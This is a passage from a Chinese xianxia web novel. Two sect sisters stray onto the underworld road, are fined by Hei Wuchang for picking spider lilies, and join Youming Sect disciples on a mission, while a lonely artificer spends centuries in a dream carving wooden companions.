石映心没想到她这么快呢,有些惊讶地过去一看,还真解开了:就见那法阵中的复杂图案正由中央开始往外围一圈一圈地发起光来,很快亮透,在大放光芒之间隐约出现了门的轮廓。 灵光短暂地照亮了幽寂的城外,待它消散之后,粗壮的树干上便出现了一闪漆黑的门。 石映心和师妹对视片刻,扬起赞扬的笑容:“你太厉害了换月。” 曾换月的心情也很激动:“我也没想到就解出来了!难道这就是元婴后期阵修的实力吗?” 石映心:“是你的实力。” 曾换月:“嘿嘿嘿……” “二位姐姐果真厉害!”树灵也感叹道,“你们这就要走了吗?” “是呀,”曾换月好心情地拍拍它,“下次有机会再见吧。” 小槐:“嗯!” 她们打开门,就见里头一片漆黑,很有通往幽都的氛围。二人走进去后还记得关上了门,这下是一点光亮没有了,仿佛身处虚空之中;正疑惑呢,就见面前亮起一条路来,青石板延伸至黑茫茫的远方。 曾换月咽了咽口水:“走吗师姐?” “走。” 她们毫不犹豫地走上这条路,步行数十步后,眼前渐渐浮现一些飘忽的景色,哪里隐约有水声传来;路两边不知何时飘起雾气,像是为了遮蔽两侧的景色,但瞅着本来也没什么景色? 再走一会,灰黑中总算出现了色彩,先是一两点红,慢慢地变成一条条一片片,路上开满了火红的花朵,花瓣的形状像是蜘蛛腿。 “这难道就是传说中的……”曾换月在记忆中搜寻,“彼岸花?” 石映心没听过:“彼岸花是什么花?” 曾换月回忆道:“说是一种只开在阴曹地府的花,它的花香似乎有魔力,能唤起死后鬼魂生前的记忆……” “哦,幽都特产。”石映心听明白了,“那我们摘点回去给师父师兄。” 说着弯腰就要去采,好险被她师妹拉住了:“等等,这不对吧师姐?我们是不是走错路了?” 石映心的手已经抚上了彼岸花的花枝:“我们从进来开始只瞧见一条路……这花还挺好看的。” “对啊,这才奇怪嘛!”曾换月恍然想起,“说是门内的路不只是通向幽冥宗,还连接着幽都,一不小心就会走错……我听这话,原以为这路一般是通向幽冥宗,出了差错才会走去幽都……结果是相反的吗?” 石映心立起身来:“那我们走回去?” “嗯……我去!”曾换月一晃眼看见她师姐手上一大把火红的彼岸花,惊得发出尖锐的爆鸣声,“你你你怎么说摘就摘了还摘了这么多!?” 石映心还疑惑她为何大惊小怪呢:“你说这是幽都特产……就算走错了路,不过来都来了。” 曾换月:个0个…… 可以理解她师姐的脑回路,但这不对吧!? 不管如何摘都摘了,石映心将花收入囊中,摊手道:“没事的,你看,无事发生……” 哗!! 一阵水花激荡的破水声从边上响起,灰蒙蒙的雾气被雨水打湿消散,露出其中飞速而来的红黑色鬼影,伴随着它气势汹汹的鬼叫,震得水 面颤抖。 打脸来得太快,好在石映心本人并不尴尬;她将师妹往身后一推,利落地变出帝血剑来就迎鬼而上。这大概是水鬼来着,一人一鬼打斗间水花四溅,淋了没反应过来的师妹一身。 目瞪口呆的曾换月:O0O…… 这等路边水鬼哪是剑修(化神期版)的对手,很快被打得鬼哭狼嚎,要不是说不了人话,就赶着求饶了;过几招后它便急着想躲回水中,可石映心刚入化神,这下手还有些没轻没重的,便想拿它练练手,反正来都来了…… 就在曾换月都有些可怜那想走走不了的水鬼的时候,忽听天边传来一声厉喝:“住手!” 曾换月回过神来,顿感不妙,连忙劝道:“不要打啦师姐,不要再打啦!” 石映心便停了手,见那红黑水鬼总算得到解脱,啪叽一声瘫在地上,仿若化成了一滩流水,只偶尔抽动两下。 剑修觉得它有些夸张,她都没下死手,只是想顺便练练化神期招式……更何况杀鬼要用专门驱鬼的法术,要不然杀不死,她方才都没用呢。 与此同时,那喊“住手”的人飘来了二人的身前。不错,就是“飘”来的,他的身影神出鬼没,人未至而影先到,仿佛是肉身追赶着魂魄一般。 此人一站稳,便没好气道:“是何人在此处为非作歹!” 曾换月一吓,连忙指向地上那抽抽的一滩:“就是它!这只水鬼想害人!我们好端端地走在路上,它突然跳出来吓人!” 她一边抢先控诉水鬼的罪行,一边打量着来人的模样:一身黑衣,左肩上挂着一条黑亮的长链,链头是个大弯尖勾爪,真是别致的装饰;更别致的是他头上戴着的那顶突兀的长三角帽子,只见上头写了四个字:天下太平。 曾换月觉得他的打扮很像电视剧中的鬼差,而且是有些身份的那种;再看他一身漆黑,心里就冒了个人选,暗想这不会就是传说中的出名鬼差…… 黑无常吧!? 范无咎瞅瞅地上的一滩鬼,又瞅瞅面前二人,最后的目光落在罪魁祸首身上,这一看忍不住挑起眉毛,略有些惊讶道:“石映心,又是你?” 石映心当然也认出他了,客气地打招呼道:“好巧。” 范无咎明显不喜欢这巧合,又是一声冷哼。 曾换月见二人相识,好奇地问道:“师姐师姐,你认识他呀?” “嗯,”石映心颔首道,“他便是……” 话到这莫名一顿,此人看向范无咎道:“抱歉,许久未见,你的名字是……” 范无咎:…… “范无咎!”范无咎气得冒黑烟,“我是黑无常范无咎!” 石映心依旧不尴尬,继续对师妹介绍:“不错,他正是黑无常范无咎。” 她师妹:…… 看得出来二人关系不好了。 范无咎和曾换月脑中主要形成于影视剧的黑无常印象不同,不是那种阴森可怖的、也许还要上些年纪的古朴形象;他就是一个年轻利落的小伙,就像是寻常的修士一般,身上班味倒是蛮重的,一脸“你欠我加班费八百万灵石”的不爽神情。 比如这会,他就拿出一个册子来,走到她们面前冷冰冰道:“老实交代,为何殴打我们黄泉中的水鬼?” 石映心老实交代:“它先动手的,我不能被打不还手。” 范无咎瞥她一眼:“这些水鬼受过教育,不可能无故殴打过路者,你定是做了什么。” 石映心仔细想了想,余光瞥见小师妹的挤眉弄眼,一时没接到暗示,倒是忽然想起来:“哦,我采了几朵花,这算吗?” 范无咎冷哼一声,飞快地在册子上写了什么,然后“啪”地合上,朝石映心道:“这些水鬼奉命守护黄泉路上的彼岸花,见你摘了花便想给你教训,谁知还被恶人反打。” 恶人·石映心:“它来势汹汹,我也没办法。” 范无咎:“它是鬼,鬼的气场就是这般!” “……哦。”石映心瞥了眼边上那滩鬼,诚恳道,“对不住了鬼道友,我以为你来者不善。不过你应有感受,我没下狠手,你修养一段时日便好了。” 水鬼无法应答,只抽搐了一下。 “行了。”范无咎打断她,伸手道,“交了罚金你们就能走了。” “罚金?”曾换月耳朵一动,“还要交罚金啊……多少?” 第270章 范无咎冷酷道:“殴打水鬼一百,采摘 彼岸花……你们摘了几朵?” 曾换月扯扯师姐,大声道:“没几朵!” 范无咎没理她们,看向边上水鬼,就见那滩玩意中冒出一只手来,比了个“七”的手势。 范无咎便知道了:“一朵彼岸花十五,一共两百零五。” 曾换月已经感到心疼了,摁住师姐要掏钱的手:“两百零五……冥币吗?” “灵石!”范无咎冒气地笑了,“两百零五灵石!少交一块都不能走!” “呜呜呜呜呜!”她便心疼地哭起来,“师姐啊,路边的野花果然不能采!” “没事,”石映心安慰哭唧唧的师妹,“就当买幽都特产了。” 什么路边的野花什么幽都特产?这二人到底在说什么!范无咎深呼一口气,收了罚金后便将那滩水鬼送回了黄泉中。办完正事,又问二人道:“你们来幽都做什么,难道又是什么因果牌任务?” “不是……也是,”曾换月摆摆手,“我们走错路了,本来是打算去幽冥宗的,不小心走到幽都来了。” “幽冥宗?”范无咎露出并不意外的表情,似乎这种情况时有发生,“那你们是完全走错方向了。” “方向?”曾换月疑惑道,“可我们一进来,面前只有一条路。” “你也说是面前。”范无咎叹了口气,“看过身后吗?” 师姐妹二人:OO 咦,这么说……好像确实没有欸?毕竟当时黑乎乎一片,面前突然出现一条能看见的路,自然而然就…… “哎呀这事儿闹得,”曾换月尴尬挠头,挽着师姐的胳膊道,“打扰了打扰了,那我们就回去了哈!” 石映心也利落挥手告别:“再见。” 范无咎:。 眼见这二人头也不回飞速离开的背影,范无咎抱着胸扯了扯嘴角,转身飘走前自言自语了一声:“究竟是哪里有麻烦她们就去哪,还是她们带去了麻烦?幽冥宗最近可不太平……” * 二人回到原点,果真见后头还有一条路呢。而且边上还明晃晃地立着一个牌子:【幽冥宗此处走】 但凡她们当时左顾右盼地回头看看……罢了,就当去黄泉路上观光好了。 曾换月看着那牌子,觉得很不合理,于是又变出一个牌子来,立在黄泉路的方向上,往上头写:【幽冥宗往后转,黄泉路往前走】 如此她满意地点点头:“这样才合理嘛!” 石映心深以为然。 二人小费周章、大费灵石地走回了正确的路上,没走一会就到了幽冥宗的门口……不过只是一扇孤零零的门,就立在那儿,也没人看守。 石映心随手把门一推——居然轻易地推开了。大概是觉得关闭了槐树上门就不会有人再进来了吧? 二人就这么轻而易举地进入门中,里头便是另一番境界:依旧是黑夜,但明亮的月挂在高空,将所有的景色都照得明朗;古典而繁华的建筑星罗棋布,整体色调偏暗沉古朴,但在月光下又时不时闪出奇异的光辉。 按理来说这里应是地下,但其宽阔的景色、挂着月亮的夜空却不似假的,四处还有许多茂盛的树木花草,和地上世间并无不同。 起码她们目前能发现的唯一的不同是……石映心看向照在她手上的月光,感受到了格外充沛的天地灵力。这里的月亮并不是外边的月亮。 那么太阳呢?这就不清楚了,毕竟现在还是晚上。 和幽冥洲城中安静的夜晚相比,此时幽冥宗里有些热闹,随处可见四处飞……啊不对,他们是飘,到处是飘来飘去的黑袍人;和方才见过的范无咎的神出鬼没的身形很像,大概是同源的仙法,类似她们普遍的轻功? 反正曾换月是被吓了一跳,乍一看还以为是鬼呢:“我去……师姐,他们怎么乱飘啊?跟鬼似的……” “应该不是乱飘,”石映心客观分析,“只是我们看不懂他们的功法。” 倒是挺有意思的,她有些想照来学一学;不过石映心(化神期版)已不再那么鲁莽了,如今她带着师妹,决心要起到好的榜样作用。 于是她学大师兄道:“我们当务之急是找到桑九。” “那就捉个人问问……”曾换月左顾右盼数不清的黑袍影子,一时茫然,“我去,这怎么捉啊?” 此时余光瞥见师姐拿出了帝血剑,她吓得抱住她胳膊:“师姐你别冲动啊,我有办法!” 石映心:OO? 她只是想御物飞行看看能不能追上谁…… 曾换月几步先前,微微探出身子伸出一只手来在空中挥舞着,做出在路边打车的架势:“打扰了,停个人呗,停人!” 石映心:OO 难怪二人是师姐妹,师姐也不觉得这行为有哪里古怪,甚至觉得还是个可行的好办法,于是也过去在边上效仿师妹“打车”。 没想到还真给她打到了一个人……嗯,真的是打到了,大概是石映心站得位置处于那人“飘”的必经路上,她就这么站过去一挥手——“啪叽”一声就给那黑袍人打飞到了地上。 实在是巧合。 那黑袍完全措手不及,摔到地上后还愣了一会,抬头来看向罪魁祸首;他穿得严实,还带着黑面罩,只露出一双狭长的丹凤眼,此时因为惊诧而瞪大了眼睛,内勾外翘得像是蝴蝶的翅膀。 石映心和他对视上,罪魁祸手这会还僵在了空中,呈现着作案时的动作。 这双眼睛……好像在哪里见过? 镜灵有些印象,可惜不多,反而被对方先认出来了:“是、是你……你怎么会在这……” 石映心把罪魁祸手收回来,客气地说:“对不住,我方才不是有意的……你认得我吗?” 这时候曾换月也跳过来了:“怎么了怎么了?发生什么事了?” 石映心挠挠头:“没什么,只是我不小心把他打飞了。” 曾换月:…… 是字面意思吗师姐? “对不住啊这位道友,”她苦哈哈地替师姐赔笑着,正要去扶那个黑袍,“我师姐不是故意的,你别介意哈……” “别过来!”黑袍人却自己跳了起来,万分警惕地退了几步远,“你们归壹派的人来幽冥宗要做什么!?” 听他这语气,好像她们是哪来的匪徒嘞! 曾换月“咦”了一声:“你怎么知道我们是归壹派的人?” 石映心在边上和师妹说:“他好像认得我。” “哎呀,师姐你很有名嘛!”曾换月与有荣焉道,“难道他是在摘星大会上见过师姐你的英姿飒爽?” 石映心:“也许吧。” 黑袍人:……这两人到底在说什么?感觉还是不要和她们扯上关系比较好……对啊,她们来幽冥宗做什么关他什么事……不如说最好不关他的事! 思及此,黑袍人转身就想飘走,但被眼尖的石映心喊住了:“这位道友且慢!” 黑袍人只好一顿脚步,谨慎回头道:“做、做什么?” 石映心客气地说:“实不相瞒,我们是来找人的。” “找谁?” 石映心:“一个叫桑九的人,应是你们幽冥宗的弟子。” 桑九:。 石映心:“或许你认得此人?” “不认得。”桑九一口否认,“幽冥宗弟子众多,岂会凑巧叫我认得?我还有事要做,先走了!” 曾换月叹了口气:“说得也是……” 她话音未落,又见边上飘来一个身影,也是一个黑袍人,堪堪停在桑九面前,喘了口气听着是女子的声音:“可给我追上你了……师父有事找你,快随我来,桑九!” 曾换月歪头:“桑九?” 石映心颔首:“桑九。” 桑九:…… “咦,你们是谁呀,”那黑袍女子这才注意到了二人,奇怪道,“看你们的衣物……哎呀,难道你们是归壹派的弟子吗?” “是啊,”曾换 月怀疑地瞥了眼黑袍男子,“我们来幽冥宗找一个叫桑九的人……” “桑九?”黑袍女子一拍边上人的肩膀,“那不就是我师弟吗?” 被拍得一个踉跄的桑九:…… “是吗?呵呵!”曾换月回想起某人方才的否认,意味深长地笑了笑,“世上怎么会有这么凑巧的事呢!师姐你说是吧?” 石映心也颔首:“确实。” 桑九忍住不哭出来,这时候他觉得了,该是你的孽缘怎么也逃不了,甚至发生于各种匪夷所思的巧合。 黑袍女子名叫邬芽,是桑九的师姐。听了二人的来意后,热情地表示了欢迎:“有朋自远方来,本应该好好招待你们,可惜近日宗门内比较混乱,等有机会我和桑九再请你们吃饭哈!” 桑九在边上郁闷道:“她们不是我的朋友。” 邬芽“啧”了一声,教训道:“说什么呢!八大仙门的弟子皆为道友。就算素未蒙面不曾相识,可联盟之谊岂是玩笑?” 她正气凛然的口吻把曾换月都给说热血了:“是啊是啊,现在我们已经认识了,那就算是朋友啦!对吧师姐?” 她师姐:“嗯。” 桑九深呼一口气,拿这三人没办法,在他师姐的注目下还是点了点头,只是多少有些不情愿。 邬芽这才满意,招呼新朋友道:“不知你们找桑九有什么事呀?” 二人就解释了因果牌一事:“如此如此这般这般。” “哦~”邬芽有些不太明白,但表示理解,“正巧我师父也有要事找他,不如你们一同来吧,我想师父也会高兴认识二位。” 二人已经熟悉了这种“颁布任务”的环节,自然乐意前往。【】 270-280 第271章 邬芽和桑九的师父咏燕仙尊竟和二人的师父慕雲相识,说是年轻时慕雲来幽冥洲做任务的时候不打不相识……哎呀这,好在打之后还是相识了,不然怪尴尬的。咏燕兴致勃勃地拉着二人说话: “原来你们是慕雲的弟子啊,我和你们师父许久未见,她过得这么样啊?” “哈哈哈哈!想当初我俩都年轻气盛……” “去年的摘星大会不巧我有事就没赶上……真是太可惜了!” 看得出来邬芽是咏燕仙尊的亲传弟子,二人都是风风火火的热情性子;见到来自归壹派的二人,寒暄中都忘记了正事。还是一直被忽视的桑九等了许久,忍不住主动问:“师父你找我到底有什么事!” 这才拉回了咏燕的思绪:“哦,差点忘了,是有一件要事交代给你。” 桑九早就习惯了她这样,催促道:“您快说吧。” 咏燕快说道:“宋山下汶上村的村长来报,说是这半月已见三次彗星异象,前两日早上见山上起了火灾,好在范围不大,被村民们及时熄灭……又说众多村民反馈,在夜间听山上有鬼哭狼嚎声传来……总之异象频频,请求我宗派弟子前去一探。” 她说到这,邬芽就道:“师父,这不是师公交代给我的任务吗?” “不错,”咏燕颔首道,“只是我转念一想,山上起了火灾,你去有何用处?还不如让桑九去。” “不行,”邬芽拒绝,“汶上村是我的老家,桑九哪里有我熟悉?自然是要我去。” 咏燕一挑眉:“你修为属火,去了不是火上浇油?” 邬芽一扭头:“那我就去找师公告状,分明是指派给我的任务!” “你!”咏燕一噎,明显被将一军,翻了白眼道,“行行行,你带着桑九一起去行吧!” “我一人去也行。”邬芽撇嘴,“桑九留在这帮忙师父你处理旱灾的事就好。” “真是多谢你好心还记挂我啊。”咏燕挥挥手,“不必多说了,要么就桑九一人去,要么就你俩一起去。” 既然这样,邬芽只好选择带师弟一起。 桑九本人就搁一边,默不作声地听自己被安排得明明白白;石映心见他也很习惯,并无什么不满,看来这就是这师徒三人的寻常相处方式。 “师姐师姐,”小师妹和她小声道,“我还以为我们这次是来解决幽冥洲旱灾的事呢,现在要去什么宋山,看来不是啊?” 石映心正要说什么,就听咏燕对她们道:“那么映心和换月你们也要跟着我两个弟子一同前往汶上村吗?” “是。” “这敢情好。”咏燕笑眯眯道,“有化神期剑修和元婴后期阵修的帮衬,我这当师父的也放心多了;待你们平安回来,我定好好设宴感谢!” 二人便说客气客气,都是她们应该做的。 邬芽也很高兴,说一路上不无聊了,拉着二人嘻嘻哈哈。 于是只有一人受伤的情况就这么达成了。 说是一早出发,其实现在早过了子时,没准备多久就该启程了。桑九临时被通知,这会要赶着回去收拾行李;邬芽早做好了准备,于是就和二人闲谈等待,解决一下她们的疑惑。 “修为属火的意思是……”邬芽想着要怎么给她们解释,“就是我更适宜修和火有关的法术,最简单的就是这样。” 说着她打了个响指,指尖上就冒了火光。 像是石映心她们要生火的话,要么用火符,要么画火阵,这种凭空生火的本事不在她们寻常的课业范围内;也不是不能修,但不属于归壹派法术的范围,弟子们也没有养成这样的“体质”。 因此二人看着都很稀奇呢,曾换月想上手摸:“这是普通的火还是灵火呀?” “灵火,”邬芽道,“但也能做普通的火用,不能摸哦,小心烫着。” 曾换月就烤了烤火,确实感到热度。她有些兴奋道:“早知道你们有这样的本事,我就不带火符了。” 石映心便好奇道:“你们幽冥宗的弟子是不是还能控无形之影,驱使幽都鬼魂,法力在日落后愈甚……是这样吗?” “是这样。”邬芽颔首道,忽然将手上的火投掷向二人脚下被月光照出来的人影,“二位有何感受?” “哇!”曾换月一激灵道,“我去,怎么突然暖和起来了!?” 石映心也感受到身上莫名发热,低头看向地面,就见她和换月的影子在被两团火影烘烤,正呈现出热浪般的涌动;可她们本人其实并没站在火上,光是影子被火烤,就能让她们的本体感受到真切的热度。 “我明白了我明白了!好热呀。”曾换月拉拉衣领,“邬芽,好了好了!” 邬芽笑了笑,一挥手便将火影熄灭。 “好厉害的法术。”石映心抹了把额头的汗水,真心称赞道,“确实诡谲。” “邬芽,”曾换月用手给自己扇风,“这火是不是真的会把我们烧死啊?” 邬芽颔首:“会的。” “天呐,”曾换月惊道,“那影子着火了要怎么灭呀?” 邬芽道:“若你们是幽冥宗的弟子便能灭,以你们归壹派的法术……我也不太清楚呢,暂时没听说其他仙门的法术能够控影;不过只要控影者失去施法能力,影子就会自动脱离控制。” “也就是说,”石映心听明白了,“像我们这种不会控影的人,只要杀了控影者便能让影子脱离控制?” “也不用杀了这么极端啦。”听她自然而然的语气,邬芽莫名打了个寒颤,连连摆手道,“只要你们有其他能控制他神智或是行为能力的办法也行。” 曾换月夸赞道:“你们幽冥宗的法术好厉害哦。” “还好啦,”邬芽谦虚地笑了笑,“你们只是刚刚接触所以觉得新奇,其实就算是控影术,也不能逃脱绝对实力的压制。像映心你已经入了化神,而我的控影术只有元婴期,以你内里的功法很快便能强制冲破我的禁锢,一开始可能还会伤身,习惯之后便熟能生巧了。” 石映心方才影子着火时自然有所感觉:“原来是这样。” 曾换月笑道:“倒也是哦,那不然你们的控影术不是天下无敌了?” 邬芽顺着她的话故意道:“是啊,届时别说摘花大会的魁首了,天下第一门派该是我们幽冥宗啊。” 三人哈哈哈笑起来。 石映心又想起咏燕仙尊的话:“这么说来,桑九的控影术也和水有关吗?” “是啊,”邬芽道,“他能让影子溺水。” 石映心若有所思:“听着挺有意思的。” 曾换月想到更有意思的:“我师姐方才说你们还能操控幽都的鬼魂,真的假的呀?” “真的呀。”邬芽看曾换月一听这话又双眼发光,忍俊不禁道,“这也不是什么厉害的本领啦,其实和控影术同源异流。” “同源异流?”石映心很好奇,“怎么说呢?” “嗯……该怎么和你们解释呢?”邬芽想了想,“对了,你们听过‘人有九影’吗?” 二人纷纷摇头。 “这只是我们幽冥宗先祖流传下来的理论啦。”邬芽先说了这个大前提,“先祖说,其实每个人都有九层影子,每一层都有一个影神;每位影神各有名号,但具体叫什么,在古籍上已经失传了。” “影神?”二人都是第一次接触这知识点,茫然又好奇。 “是呀。”邬芽道,“据说我们先祖就曾经通过某种方法照见过自己的九层影子,因此才得出了结论;而且说是人影越深,代表此人越福泽绵长。” 曾换月第一次听闻这说法:“哇塞。” 石映心就跃跃欲试啊:“是什么方法呢?” 邬芽摇摇头,面色严肃道:“照见影神的办法已经失传了,因为非常危险;人的影神一旦被照出来,就很容易吸引来吃影子的妖怪,任何一层影子被伤害,都会反噬到人的身上。” “届时失了神智啊精神恍惚啊身体不适什么的都有可能,若是多层影子受损,甚至会直接死去……实在可怕!因此照影术很早就被封禁。” 二人恍然:O0O 石映心若有所思道:“这个说法……和三魂七魄很像。” “啊呀,你好聪明。”邬芽赞赏道,“不错,方才说的只是先祖的看法,我们幽冥宗的弟子如今学的是进阶版三魂七魄理论;意思就是人的影子中含有三魂七魄,因此控影术其实就是通过影子控制魂魄。” “啊,”曾换月一拍手,“鬼魂也是魂魄,所以也能控制!” 邬芽觉得和聪明人说话很舒服:“是的是的,所以学会控影术的人自然也能操控鬼魂。” 曾换月继续问:“你们能操控影子中的三魂七魄,那能不能直接操控人体内的三魂七魄呢?” “这不行。”邬芽摇摇头,“控影术只能控无形,可肉身是实实在在的物体,不能轻易穿过它。” 石映心想了想:“那么如果是在无光的地方,你们的控影术便无处着力了?” “是呀,”邬芽狡黠一笑,“不过对大部分弟子来说这都不是问题啦。” 曾换月了然道:“因为你们会生火嘛,有火的地方自然有影子!” 邬芽笑眯眯地点点头。 “难怪你们幽冥宗和幽都如此相近,”石映心意味深长地笑了笑,“方便帮忙。” 邬芽闻言露出深以为然的痛苦表情:“映心啊映心,这都被你想到了。和幽都绑定在一起,可给我们幽冥宗弟子增添了不少麻烦……唉,不提这事了,大概这就是幽冥宗的宿命吧!” 第272章 “…… 石映心也觉得这就是“宿命”,毕竟她们幽冥宗靠控影术发家,那自然摆脱不了和魂魄纠缠;或者说,她们的磁场和幽都是相吸的关系。 明着看是幽冥宗帮幽都的忙,暗处里其实是幽冥宗依附幽都的磁场生存和修炼……比如此时高挂天空的月亮,它的灵力来源是什么呢? 石映心想着想着,忽然惊得回神,心说自己怎么都想明白了? 她是聪明不错,但现在会不会太聪明了? 不……与其说是“想”明白,不如说是“感受”到了,“看”到了,顺其自然地就“懂得”了;可这究竟是破境入化神的好处,还是旋娉和阿央白石等上古神力带来的影响? 石映心冒了些冷汗,摇摇头不愿再深入思索。 好在师妹和邬芽没注意到她的异常,因为桑九飘过来了,和三人报到:“我准备好了。” 既然人齐了,那就抓紧时间出发吧! 从幽冥宗去往汶上村并没有传送驿站直达,毕竟汶上村只是一个小村落,承担不起仙门驿站的运行成本,她们便打算御物飞行过去。 出发时天色微亮,飞了一会正好瞧见旭日初升。曾换月站在师姐的剑上欣赏此番美景,有些感慨道:“唉,我也很久没瞧见日出的景色了。” 石映心专心御剑:(个_个)“嗯。” 又听小师妹忽然叹了口气:“说起来,也不知道大师兄和二师兄他们现在怎么样了?有没有醒过来呢……” 石映心:(个_个)“嗯。” “师姐,”曾换月问,“你说他们要是醒了,会来找我们吗?” 石映心“嗯”了一声后反应过来道:“可能不好找。” “是哦。”曾换月笑了笑,“我们四处乱跑,怎么好找呢?还是我们赶紧做完任务回去吧!” 石映心颔首:(个_个)“嗯。” * 花开几朵各表一枝,这一片雪花飘下,落在屋前是新堆的雪上。 终于来到第三百七十个冬天。 木门上的划痕又多了一道,这是第七十四个“正”字。屋子的主人刻意将计数划在大门上,将本就陈旧的木门画得更加狼狈,像一种无力的宣泄,亦或是一种醒目的信念支撑。 器修本就不是需要仪表堂堂的职业,像这种见不着人的时候,不修边幅才是正常的状态。不过顾梦真还是记得将自己乱得像鸡窝的头发团吧团吧捆了起来,未免和上次一样不小心被火烧着。 他每日的行程实在简单,早上起来,拥抱炼器炉,哼哧哼哧修炼一日,接着又睡去……他很耐不住这样的无聊,一开始还琢磨着自己做点饭吃……差点把自己毒死后忍着腹痛收手了。 顾梦真记得以前在门派上课的时候,授课仙尊曾说过:“当修仙者进入‘心流状态’时,会投入一种全神贯注的忘我境界,时光因此静止,眨眼间过去许久,在此中也最容易进步破境。” 他在这梦里修炼时便是这样的状态,刚开始觉得很不错,一天一天过得很快嘛,而且那种进步的感觉非常切实,真是满满的成就感呀! 这样的乐观大概维持了一个半月,已是他平时帮师叔他们赶货忙碌的最长期限,再久一些就超出舒适区了;等他回过神来,才发现这日子才过去一个多月,而他还剩下四百五十九年十个半月…… 于是乐观的面纱就被撕下了,原来这些“不孤独”的满足感全是自欺欺人。 刻意不去注意的、故意忽视的,那些对亲朋好友的思念一股脑地涌上心头,顾梦真开始想死啦。 他站在门口对着无尽的森林大喊:“大师兄!映心!换月!师父!你们在哪啊啊啊啊——” 然而只有回声传来。 这样的孤独是他早就预见的,怎么能就此屈服?顾梦真愤怒跺脚,回到屋中继续炼器。 过了许久,可能也没很久,来到了第一年冬天。 器修在院中堆了几个小雪人。雪人只有巴掌大,模样像他小师妹在去年过年时放在空中的烟花:简单的形状,都是如出一辙的圆脸蛋豆豆眼,可以从装扮和神似的笑容神态中辨认出她们的身份,是她们师徒五人。 他思酌了一会,又堆了几个大的,每一个都尽量做得细致和肖像,这花费了他大概一个月的时间,顾梦真难得觉得这一个月不难捱。 后来春天来了,雪融化了。 器修黯然神伤了一会,忽然灵光一闪,变出了四个小木人来。看着站在面前四张无比熟悉的面孔,他懊恼又高兴地骂自己:“怎么早没想到这个办法!真笨!这下好了,有人陪我了!” 他让小木人们在屋里自由活动,但因此暴露了很多问题。 “大师兄!”顾梦真对小木人(大师兄版)失望道,“你怎么能闲闲无事地坐在这?应该去院中练剑呀!” 小木人(大师兄版)朝他点点头,拿起边上器修做的木剑,在院中耍基础剑式……因为器修本人也只会这么多。 “映心!”顾梦真捉住小木人(石映心版)的手,将她手上的东西拍开,“映心最不喜欢吃香菜,你怎么乱吃呢?” 小木人(石映心版)疑惑地瞅他一眼,弯腰将地上的香菜捡起来吃了。 “掉地上的东西不能吃!”顾梦真急得跳脚,但小木人(石映心版)并不理他,这点倒是和他顽固的二师妹很像。 顾梦真叹了口气,打算进屋炼器,转头看到了在书房认真看书的小木人(曾换月版);于是悄无声息地从后头靠近,结果发现她真的在看书而不是在偷看话本,顿时大失所望:“唉!你一个木头人看什么书呀——” 他将小木人手上的书抽开,恼羞成怒地扔到了地上。小木人(曾换月版)小心翼翼地瞅他一眼,飞快地捡起书来跑走了。 顾梦真:……整得他很不是人呢。 叹了口气走进炼器房,一推开门又瞧见在里头辛勤地帮他擦炼器炉的小木人(师父版),对方还回头来朝他露出慈母般的笑容,看得顾梦真一时愣在了原地。 接着一股莫名其妙的无能恼怒涌上心头,器修无理取闹道:“不对!你们都不对!不许这么做了!这样不对——不对——呜、呜呜呜……呜呜呜……” 唉,这么会这样呢? 顾梦真实在想不明白。 这是不是命运对他的惩罚?哭也没办法,气也没办法……为何偏偏是他忍受这些?而这样的日子还要再过近五百年…… 此时此刻,顾梦真觉得他就是全天底下最懂齐天大圣的人——不,他比那美猴王还要痛苦,他有思念的人,有贪恋的世俗,而那只猴子——它一只石猴哪里懂得呢? 顾梦真抱紧自己顾影自怜,一边流泪一边可怜自己的不后悔。 此处无人,泪水大声地滑落。 数不清掉了多少的眼泪,只知道雪花再次落下,第三百七十个冬天来了。 萧条的绿意上披着白衣,森林边的小院里满满当当的,不过堆的不是雪,是废弃的小木人,一个比一个活灵活现,但只是面色麻木地排排站着,已不再被启用。 落雪的天幕之中,两双灵活的脚在小木人头上轻功跳跃,空中不停传来木剑相接的梆梆声,是小木人(石映心版)和小木人(明易版)在练剑;边上的屋檐下,趴着一个翘脚的小木人(曾换月版)在一边观战一边往书上涂涂画画。 它时不时抬头瞧一眼在边上喝茶的小木人(师父版),一瞧见她余光撇来,就连忙将书籍翻上来故作认真。 炼器房中的器修伸了个懒腰,离开炼器炉走到窗边,观看窗外这一幕毫无违和感的和谐画面,露出一抹恬静的笑容。 小木人(师父版)注意到他,走过来他身侧,瞥了眼在练剑的两个木头徒弟,小声对三徒弟道:“喂喂,你有没有觉得映心和明易最近有些古怪?” 器修打了个哈欠,抹去挤出来的泪:“哈……没有啊,我前几日才维修过。” “说什么呢。”木头师父一拍他脑袋,“我是说……她俩好像有点 东西。” “什么东西?” “就是那个啊~那个……” 看着木头师父对自己的挤眉弄眼,器修不太在意道:“什么呀,你直说呗。” “啧!”木头师父用“孺子不可教也”的目光不满地训斥他,这眼神看得器修一愣,因为实在非常相像。愣神中就听木头师父道:“我怀疑她俩背着我们谈上恋爱了!” 器修这下听懵了都:“啊,谁谈了?” “明易和映心啊!” “大师兄和谁谈了?” “映心啊!” “映心和谁谈恋爱?” “你大师兄——”木头师父翻了个白眼,挥挥手说,“为师真服了,和你很难说!”说罢转身离去。 器修张大嘴巴,目瞪口呆地看着木头师父的背影。 虽然他压根不信,但对方都这么说了,自然就忍不住观察起来,结果真的发现二人有些异常的举动:木头大师兄常常给木头映心帮忙,基本没事干的时候就跟着木头映心寸步不离…… 这日大晚上,他刻意去注意,居然发现木头大师兄进了木头映心的房间,吓得他破门而入:“你们在做什么!?” 木头大师兄正在给木头映心揉胳膊呢,听到动静回头看去,一脸淡然又冷静道:“映心这几日练剑辛苦,我为她调养身子。” 木头映心也乖巧点头:“怎么了二师兄?” 顾梦真呆若木头地盯着二人。 第273章 “不、不行……”他慌乱地摇摇头道,“大晚上的……你们孤男寡女怎么可以共处一室……大师兄,你快出来!” 面对他的大吼大叫,木头大师兄只是不满地瞅了他一眼,好像在看一个不懂事的小师弟:“是你多想了,梦真。” 顾梦真:…… 他不知为何心脏打颤,吓得落荒而逃;跑回屋里后急得四处乱窜,完全不明白事情怎么会发展成这样。 搞什么……这些木头人在搞什么玩意? 他大师兄和三师妹清清白白堂堂正正光明磊落,岂能容它们这般污蔑造谣!?就算是木头人……就算是…… 他以为自己做木头人的技能已经到了出神入化的地步了,可居然出现了这样诡异的事情……难道他不是出神入化,而是……走火入魔了?! 老天奶!都折磨他三百七十年了,天知道这些年他是怎么过来的,为何还要这样对他啊呜呜呜呜! 他自暴自弃地埋头痛哭之中,隐约听见有敲门声;转头看去,一个身影被月光照在门窗上,仿若真人。 